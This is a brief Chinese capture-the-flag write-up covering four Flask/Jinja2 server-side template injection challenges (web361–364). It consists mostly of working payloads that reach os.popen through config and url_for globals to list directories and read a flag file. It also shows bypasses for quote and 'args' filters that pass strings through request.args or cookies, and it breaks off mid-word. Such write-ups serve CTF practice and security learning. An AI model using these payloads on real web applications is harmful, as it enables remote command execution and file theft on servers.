SSTI
web361
payload:
?name={
{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
?name={
{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
之后打开
?name={
{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
得到flag
web362
payload同上
web363
题中过滤了引号
使用request.args绕过
如果要构造
?name={
{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成
?name={
{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag
也就是上面的 ‘os’ 可以写为 request.args.a&a=os
?name={
{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag
web364
此题在363关的基础上过滤了args
request.args是GET传参,可以使用其他方式来代替args,eg:cookie
?name={
{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cooki